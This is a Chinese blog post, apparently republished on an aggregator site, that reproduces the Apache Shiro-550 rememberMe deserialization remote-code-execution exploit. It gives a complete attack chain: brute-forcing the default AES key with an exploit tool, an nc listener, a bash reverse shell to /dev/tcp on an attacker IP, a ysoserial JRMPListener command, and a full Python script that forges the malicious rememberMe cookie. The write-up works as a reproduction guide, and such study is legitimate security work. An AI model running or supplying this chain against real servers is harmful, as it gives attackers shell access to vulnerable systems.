当前位置: 萬仟网 > IT编程>脚本编程>Python > Shiro rememberMe反序列化漏洞(Shiro-550)复现

Shiro rememberMe反序列化漏洞(Shiro-550)复现

2020年11月19日  | 萬仟网IT编程  | 我要评论
欢迎到我的博客查看原文:http://www.xpshuai.cn/posts/40239/漏洞原理Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值在整个漏洞利用过.

欢迎到我的博客查看原文:http://www.xpshuai.cn/posts/40239/

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro < 1.2.4

特征判断

返回包中包含rememberMe=deleteMe字段

演示

文中的配图有点不一致,别介意,环境问题没在同一个时间测试

系统界面如图

在这里插入图片描述

抓包查看

可以看到是Shiro

1.检查是否存在默认的key

工具链接:https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://<IP>:7080

检测的key保存下来一会用

2.制作反弹shell代码

2.1 vps监听端口

nc -lvvp 7788

在这里插入图片描述

2.2 Java Runtime 配合 bash 编码,
在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/202.xx.xx.xx/7788 0>&1	# ip为攻击机的地址

在这里插入图片描述

3.通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令

上一步的反弹shell的命令编码结果写到下面

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 'bash -c {echo,YmFzaCAtxxxxxxzYuxxxxxxxxxxxxQ==}|{base64,-d}|{bash,-i}'	# 这里用的CommonsCollections4

在这里插入图片描述

4.使用shiro.py 生成Payload

python shiro.py 122.xx.xx.xx:6666

在这里插入图片描述

其中shiro.py代码如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections6', command], stdout=subprocess.PIPE)	# 这里要注意用哪个JRMPClient
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("fCq+/xW488hMTCD+cmJ3aQ==")	# 这里的key要提前枚举出来
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())


5.构造数据包,伪造cookie,发送Payload.

在这里插入图片描述

6.nc监听端口,shell成功反弹

在这里插入图片描述


PS:后来发现这个好用的工具,一键检测&getshell,好用极了

我应该去学学java编程了,看大佬们写的各种工具,羡慕极了

本文地址:https://blog.csdn.net/qq_37622608/article/details/109810381

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

相关文章:

  • supervisor下的Dockerfile的多服务镜像封装操作

    supervisor下的Dockerfile的多服务镜像封装操作

    编写dockerfile文件配置yum源cd /tmp/dockervim dockerfilefrom rhel7expose 80 22 # 向外暴露80... [阅读全文]
  • python中绕过反爬虫的方法总结

    我们在登山的途中,有不同的路线可以到达终点。因为选择的路线不同,上山的难度也有区别。就像最近几天教大家获取数据的时候,断断续续的讲过header、地址ip等一些... [阅读全文]
  • python 如何停止一个死循环的线程

    python 如何停止一个死循环的线程

    进程想要执行任务就需要依赖线程。换句话说,就是进程中的最小执行单位就是线程,并且一个进程中至少有一个线程。那什么是多线程?提到多线程这里要说两个概念,就是串行和... [阅读全文]
  • 利用python+ffmpeg合并B站视频及格式转换的实例代码

    利用python+ffmpeg合并b站视频及格式转换 b站客户端下载的视频一般有两种格式:早期的多为blv格式(由flv格式转换而来,音视频轨道在同一文件下)。... [阅读全文]
  • python3爬虫中多线程的优势总结

    有些小伙伴跟小编讨论了python中使用多线程原理的问题,就聊到了关于python多线程的弊端问题,这点可能在使用的过程中大家会能感觉到。而且之前讲过的gil也... [阅读全文]
  • python3爬虫中引用Queue的实例讲解

    我们去一个受欢迎的地方买东西,难免会需要排队等待。如果有多个窗口的话,就会有不同队列的产生,当然每个队伍的人数也会出现参差不齐的现象。我们今天所要说的queue... [阅读全文]
  • Django URL参数Template反向解析

    一、 url参数在view中传递1、带参数名:通过named group方式传递指定参数,语法为: (?p<name>pattern), n... [阅读全文]
  • python3爬虫GIL修改多线程实例讲解

    python3爬虫GIL修改多线程实例讲解

    我们打开程序后,会发现电脑的内存和cpu发生了变化。在对于前者上面,自然是希望内容占用小,cpu的利用越高越好。那有没有什么方法可以让我们的cpu达到满状态的运... [阅读全文]
  • PyCharm Community安装与配置的详细教程

    PyCharm Community安装与配置的详细教程

    【内容】: 最近python挺火,空闲时间看了几个python视频,觉得简单易懂,开发效率高,应用范围广,值得学习。如下便开始搭建学习环境,即安装一款好用的... [阅读全文]
  • python爬虫快速响应服务器的做法

    不论是打开网页或者爬取一些资料的时候,我们想要的是计算机能在最短的时间内运行出结果,不然等待的时间过长会影响下一步工作的计划。这时候我们可以给计算机一个指令,限... [阅读全文]
验证码:
Copyright © 2017-2020  萬仟网 保留所有权利. 粤ICP备17035492号-1